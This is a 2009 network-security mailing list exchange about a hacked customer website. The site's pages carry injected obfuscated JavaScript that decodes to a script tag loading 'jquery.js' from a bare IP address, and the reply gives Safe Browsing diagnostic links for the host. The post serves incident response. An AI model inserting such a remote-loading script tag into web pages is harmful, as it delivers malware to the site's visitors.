[nsp-sec] ATTN AS 12553 malware hosting

[Niels Provos]

On Wed, Apr 8, 2009 at 7:47 AM, Mike Tancsa <mike at sentex.net> wrote:
> Of our our customer Windows based websites was hacked (still looking for the
> initial vector)... On their html pages, some obfuscated js code was
> installed that translates to
>
> <script src  =   //94.247.2.195 /   jquery.js>     </script>

You might find the following information useful:

 http://www.google.com/safebrowsing/diagnostic?site=94.247.2.195
 http://www.google.com/safebrowsing/diagnostic?site=AS:12553

Niels.